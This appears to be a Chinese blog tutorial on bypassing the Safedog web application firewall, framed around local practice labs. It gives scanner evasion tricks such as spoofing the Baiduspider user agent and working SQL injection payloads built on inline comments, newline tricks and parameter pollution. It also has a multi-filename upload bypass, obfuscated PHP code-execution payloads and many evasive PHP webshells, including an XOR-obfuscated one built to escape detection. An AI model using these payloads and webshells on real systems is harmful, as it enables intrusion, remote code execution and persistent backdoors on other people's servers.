安全狗waf

发布时间:2023年12月20日

安全狗waf安装

1、先将phpstudy 以管理员身份运行,将运行模式修改为 “系统服务”,点击“应用”。

2、下载安全狗,安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知

?

3、安装安全狗,以管理员身份运行

需要登录使用:

信息收集的WAF绕过

主要方法:

  • 更改请求方式
  • 模拟用户
  • 延时
  • 爬虫引擎
  • 代理池
  • ...

相关案例

1、安全狗默认配置(未开启CC防护)

通过7kscan工具进行目录扫描,全部状态码为200。

在防护日志中显示“不允许的HTTP请求”,拦截原因:进行了不允许的HTTP请求(HEAD请求)。

因为默认的目录扫描的HTTP请求方法是HEAD(响应快),而安全狗拦截此HEAD请求。

绕过方式为修改HTTP请求方法为GET。

2、安全狗开启CC防护

此时使用7kscan工具进行目录扫描,全部状态码为200。

使用相同IP的主机浏览器访问,会出现“您的请求过于频繁,已被网站管理员设置拦截!”,因为扫描过快,出发了CC防护机制。

安全狗防护日志处会产生“CC攻击”日志。

此时的绕过方式是延迟、爬虫引擎、代理池。

延迟方式:
  • 勾选“延迟扫描”
  • 或加大访问间隔

爬虫引擎:
  • 将User-Agent头替换为爬虫引擎使用的User-Agent,比如百度的爬虫引擎UA

Mozilla/5.0?(compatible;?Baiduspider/2.0;?+http://www.baidu.com/search/spider.html)Mozilla/5.0?(compatible;?Baiduspider-render/2.0;?+http://www.baidu.com/search/spider.html)

漏洞利用的WAF绕过

sql注入绕过

安全和客户体验是需要平衡的,特别针对于WAF而言。如果用了WAF之后,网页动不动就被拦截,比如我是用户,用户名是and,然后我就被拦截了;或者我不小心输入了一个'引号就出问题,用户体验不好。

WAF一般都是通用的,并不是单独定制的,也就是说在拦截上会比较谨慎,所以WAF的拦截规则对应的正则一般是搭配式的,比如 and 1=1会被拦截,但是单独的and和单独的1=1不会被拦截。

大小写绕过(很老的WAF有用)

替换绕过(很老的WAF有用)

内联注释绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。

/!/如果被拦截,可以尝试添加版本号。

比如:/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行。

注意:版本号必须是5位数字,具体使用哪个版本号可以通过burpSuite的Intruder的模块进行爆破

正常注入会被安全狗拦截:

使用内联注释进行绕过:

特殊字符绕过

换行符%0a

注释/**/中的内容不会被安全狗拦截。

结合特殊字符 %0a(换行符)进行绕过。

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/

参数值1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/?对于安全狗来说,/**/中的内容不会拦截,所以可以原样到达web服务器apache。

因为%0a是换行,%23是#号,所以1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/会被认为是

1' *-- qqq /**

and 1=2 union select 1,2,3 *#*/*

-- qqq /*#*/均会被注释掉,所以最终拼接如sql语句中的为

1' and 1=2 union select 1,2,3

反撇号**````**

有些函数加上反撇号可以绕过

1' ?and `sleep`(5) -- qqq

容器特性绕过

iis中的%

对于s%e%l%ect会被iis认为是select

apache中的HPP

HTTP参数污染(HPP)

对于传参id=1&id=2,最终接收的参数为id=2

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1'/*&id=2' and 1=2 union select 1,2,3 %23*/

首先安全狗不会过滤/**/中的内容,当参数发送到apache后,会将第二个参数2' and 1=2 union select 1,2,3拼接到sql语句中进行执行。

注意不要使用##可能会被拦截,建议替换成%23,或者使用--

WAF性能因素绕过

检测长度绕过

WAF对检测数据包的包长或检测数据流长度,有一个限制。

  • 比如在真正的参数前面添加大量的%00进行填充。
  • 安全狗默认没有开启POST中的and or拦截,开启测试。

少量就会有拦截:

文件上传绕过

多filename绕过

filename="webshell.php";之前多加一些正常的filename,比如filename="webshell.jpg";

Content-Disposition:?form-data;?name="uploaded";?filename="webshell.jpg";filename="webshell.jpg";....此处省略上百个...filename="webshell.php";Content-Type:?image/jpeg

如下图:

RCE绕过

如果waf拦截了phpinfo();等类型的一些敏感字符串等,比如安全狗自定义检测规则(自己添加):

其他场景类似。

拿pikachu测试,先将安全狗的文件防护关闭,否则会访问不到rce的漏洞文件。

变量拼接

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();&submit=%E6%8F%90%E4%BA%A4

编码加密传输

txt=assert(base64_decode('cGhwaW5mbygpOw=='));

如果base64_decode函数被过滤,可以尝试别的编码函数,比如转换为十六进制:

txt=eval(pack("H*",'706870696E666F28293B'));

字符替换

txt=assert(str_replace('x','','phxpinxfo()'));

如果此时assert也被过滤了呢?可以使用别的函数,也可以结合变量拼接:

txt=$a='ass';$b='ert';$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

传参方式

http://192.168.10.155/pikachu/vul/rce/rce_eval.php?x=ert

txt=$a='ass';$b=$_GET['x'];$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

漏洞利用的WAF绕过

webshell代码层绕过

  • 方法:变量覆盖、加密混淆、异或生成

环境:安全狗v4.0,防护等级中级

webshell.php文件

<?php?@eval($_REQUEST['a']);?>

访问直接被拦截

安全狗扫描也会发现网页木马风险。

直接使用一句话木马原型会被拦截。

需要进行绕过bypass。

通过删除一句话木马不同的字符,测试安全狗过滤的内容,发现当出现eval($_REQUEST[])时会被拦截过滤。

bypass思路:

  • 替换eval()
  • 替换$_REQUEST[]
  • 让eval()和$_REQUEST[]不同时出现

end()函数绕过

end()函数:输出数组中最后一个元素的值。

$_REQUEST是一个包含前端传过来的参数数组。

<?php?eval(end($_REQUEST));?>

常量定义绕过

define() 函数定义一个常量。

<?php?define("b","$_REQUEST['a']");eval(b);?>

字符串拼接+双美元符号绕过

<?php?

??$a='ass';???

??$b='ert';

??$funcName=$a.$b;

??$x='funcName';

??$$x($_REQUEST['a']);??// $funcName($_REQUEST[a]) ==> assert($_REQUEST[a])?>

注意此时,不能拼接eval,因为eval()不是函数!否则会出现报错~ Call to undefined function eval()

函数定义强行分割绕过

<?php?

??function?abc($b){

????return?$b

??};

??$a?=?abc($_REQUEST['a']);

??eval($a);?>

经测试,此方法被过滤,提示“内藏自定义函数”

类定义强行分割绕过

<?php?

??class?User{

????public?$name='';

????function?__destruct(){

??????// 在对象被销毁时会被执行

??????eval("$this->name");

????}

??};

??$user?=?new?User;

??$user->name?=?$_REQUEST['a'];?>

cookie传参绕过

<?php?

??$cookie?=?$_COOKIE;??// 获取cookie的数组

??foreach($cookie?as?$key?=>?$value){

????if($key=='assert'){

??????$key($_REQUEST['a']);

????}

??}?>

需要提前在本地浏览器存入key为assert的cookie。

读取预定义函数绕过

<?php?

??$a?=?get_defined_functions();

??$a['internal'][841]($_REQUEST['a']);?>

原理分析:get_defined_functions()可以获取所有定义的函数,通过$a['internal'][841]可以拿到assert。

<?php?

??$a?=?get_defined_functions();

??var_dump($a);?// $a为一个二维数组,其中‘internal’对应了所有php预定义的函数名?>

自搭建数据库读取代码绕过

<?php?

??eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['muma']);?>

如果不行,可以添加换行~

<?php?

??eval(

????mysqli_fetch_assoc(

??????mysqli_query(

????????mysqli_connect('127.0.0.1','root','root','test'),

????????'select * from info'

??????)

????)['muma']

??);?>

编码加密传输绕过

webshell.php文件:

<?

// @eval(base64_decode(end($_REQUEST)));$a="base64_";$b="decode";$c=$a.$b;

@eval($c(end($_REQUEST)));

?>

传递的值使用base64加密,在webshell.php处进行解密。

  • 可以绕过waf对某些值的拦截,比如phpinfo()。

使用蚁剑自带编码加密绕过(注意蚁剑发送的数据包自带解码,所以上传的webshell不需要base64_decode)

加密混淆

php加密网站

将webshell进行加密,再上传至目标主机。

加密过后的内容:

连接加密过后的webshell时和连接源文件的方式一致。

异或生成

github地址:

目前网上能下载到的版本是3.0版,最新版4.x需要加入作者“知识星球”获取:webshell-venom 3.3 :利用随机异或免杀任意php文件 -

利用脚本生成的php免杀webshell(每次生成都不同)

<?php?class??FHNK{?function?__destruct(){$nby='J'^"\x2b";$uzj='?'^"\x4c";$yfh='>'^"\x4d";$xne='B'^"\x27";$jbp='R'^"\x20";$ufj='/'^"\x5b";$INLG=$nby.$uzj.$yfh.$xne.$jbp.$ufj;return?@$INLG($this->TM);}}$fhnk=new?FHNK();

@$fhnk->TM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

使用该webshell:

文章来源:https://blog.csdn.net/m0_62207482/article/details/135095842
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。